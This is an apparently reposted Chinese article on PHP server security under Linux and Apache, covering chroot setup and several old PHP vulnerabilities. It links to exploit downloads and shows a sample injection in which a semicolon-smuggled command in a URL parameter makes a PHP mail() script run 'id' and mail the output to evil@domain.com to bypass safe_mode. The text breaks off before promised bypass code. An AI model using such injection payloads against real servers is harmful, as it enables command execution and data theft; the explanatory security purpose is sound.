Linux操作系统下PHP服务器安全配置技巧

2009-05-13 01:28:28来源:未知 阅读 ()

新老客户大回馈,云服务器低至5折

一、Web服务器安全PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
[mailfunction];ForWin32only.SMTP=localhost;ForWin32only.sendmail_from=me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。二、PHP本身问题1、远程溢出PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:http://packetstormsecurity.org/0204-exploits/7350funhttp://hsj.shadowpenguin.org/misc/php3018_exp.txt2、远程拒绝服务PHP-4.2.0和PHP-4.2.1存在PHPmultipart/form-dataPOST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。3、safe_mode绕过漏洞还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHPmail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
<?mail("foo@bar,"foo","bar","",$bar);?>
执行如下的URL:http://foo.com/evil.php?bar=;/usr/bin/id|mailevil@domain.com这将id执行的结果发送给evil@domain.com。对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Linux系统Qmail邮件服务器安装过程解析

下一篇:VSFTPd自架Linux网络服务器方法